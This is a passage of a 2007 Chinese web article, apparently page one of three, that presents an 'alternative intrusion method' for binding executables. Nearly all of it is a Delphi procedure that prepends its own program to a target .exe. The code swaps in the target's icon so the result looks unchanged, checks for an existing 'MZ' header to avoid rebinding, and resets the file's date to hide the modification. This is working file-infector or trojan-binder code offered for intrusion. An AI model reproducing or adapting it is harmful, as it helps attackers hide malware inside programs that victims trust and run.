你好,游客 登录 注册 搜索
背景:
阅读新闻

另类入侵方法 捆绑执行文件新思维

[日期:2007-05-04] 来源:Linux公社  作者:Linux [字体:大 中 小]
procedure copy2(s:string);
var
s1,s2,IcoStream:TMemoryStream;
File2:TFilestream;
ch:array[0..1] of char;
ss:string;
filetime,fhandle:integer;
l:integer;
File2Icon:Ticon;
begin
{若文件s不存在}
if FileExists(s)=False then exit;
try
{若文件不含图标,就不捆绑}
File2Icon:=Ticon.Create;
l:=extracticon(handle,pchar(s),0);
if l=0 then
begin
File2Icon.Free;
exit;
end
else
begin
{提取被捆绑程序图标}
File2Icon.Handle:=extracticon(handle,pchar(s),0);
IcoStream:=TMemoryStream.Create;
File2Icon.SaveToStream(IcoStream);
File2Icon.Free;
end;
{判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过}
File2:=TFilestream.Create(s,fmopenread);
if File2.Size>MySize then
begin
File2.Position:=MySize;
File2.Read(ch,2);
ss:=copy(ch,1,2);
if ss='MZ' then
begin
File2.Free;
exit;
end;
end;
File2.Free;
{将本文件与文件s合并 本文件+s=s}
s2:=TMemoryStream.Create;
s2.loadfromfile(ExeName);
s1:=TMemoryStream.Create;
{
加入本程序的前部40751字节
第40752字节开始共640字节为图标数据
!!以下数字 40751,81要根据实际情况修改!!
}
s1.copyfrom(s2,40751);
{将图标换为被捆绑程序图标,图标大小为766}
IcoStream.Position:=126;
s1.CopyFrom(IcoStream,640);
IcoStream.Free;
s2.Position:=40751+640;
{加入本程序的后部81字节}
s1.CopyFrom(s2,81);
s2.clear;
s2.loadfromfile(s);
s1.seek(s1.size,soFromBeginning);
{加入被捆绑程序全部}
s1.copyfrom(s2,s2.size);
s2.free;
{得到文件s的日期}
fhandle:=FileOpen(s, fmOpenread);
filetime:=filegetdate(fhandle);
fileclose(fhandle);
s1.SaveToFile(s);
{恢复文件s的日期}
fhandle:=FileOpen(s, fmOpenwrite);
filesetdate(fhandle,filetime);
fileclose(fhandle);
s1.free;
except end;
end; linux
【内容导航】
第1页:另类入侵方法 捆绑执行文件新思维 第2页:另类入侵方法 捆绑执行文件新思维
第3页:另类入侵方法 捆绑执行文件新思维
相关资讯       入侵 
本文评论   查看全部评论 (0)
表情: 表情 姓名: 字数

       

评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款